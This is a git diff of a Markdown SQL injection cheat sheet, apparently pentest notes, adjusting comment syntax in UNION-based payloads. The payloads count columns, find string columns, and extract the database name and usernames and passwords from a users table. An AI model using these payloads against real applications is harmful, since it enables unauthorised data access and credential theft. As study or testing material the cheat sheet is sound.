diff --git a/Exploits/Databases/SQL Injection.md b/Exploits/Databases/SQL Injection.md index 28e5794..f0c734d 100644 --- a/Exploits/Databases/SQL Injection.md +++ b/Exploits/Databases/SQL Injection.md @@ -85,24 +85,24 @@ Check the number of columns by inserting NULL values one after another. * Check number of cols ```sql -' UNION SELECT NULL-- -' UNION SELECT NULL,NULL-- -' UNION SELECT NULL,NULL,NULL-- +' UNION SELECT NULL-- - +' UNION SELECT NULL,NULL-- - +' UNION SELECT NULL,NULL,NULL-- - # until the error occurs ``` * Check which one contains String values ```sql -' UNION SELECT 'a',NULL,NULL,NULL-- -' UNION SELECT NULL,'a',NULL,NULL-- -' UNION SELECT NULL,NULL,'a',NULL-- -' UNION SELECT NULL,NULL,NULL,'a'-- +' UNION SELECT 'a',NULL,NULL,NULL -- - +' UNION SELECT NULL,'a',NULL,NULL -- - +' UNION SELECT NULL,NULL,'a',NULL -- - +' UNION SELECT NULL,NULL,NULL,'a' -- - ``` * Retrieve content, for cols as an example, or dump database ```sql -' UNION SELECT NULL,NULL,database(),NULL,NULL from users -- // -' UNION SELECT NULL,username,password,NULL FROM users -- // +' UNION SELECT NULL,NULL,database(),NULL,NULL from users -- - // +' UNION SELECT NULL,username,password,NULL FROM users -- - // ``` * Retrieve content by union poking the count and order of columns, afterwards extracting tables via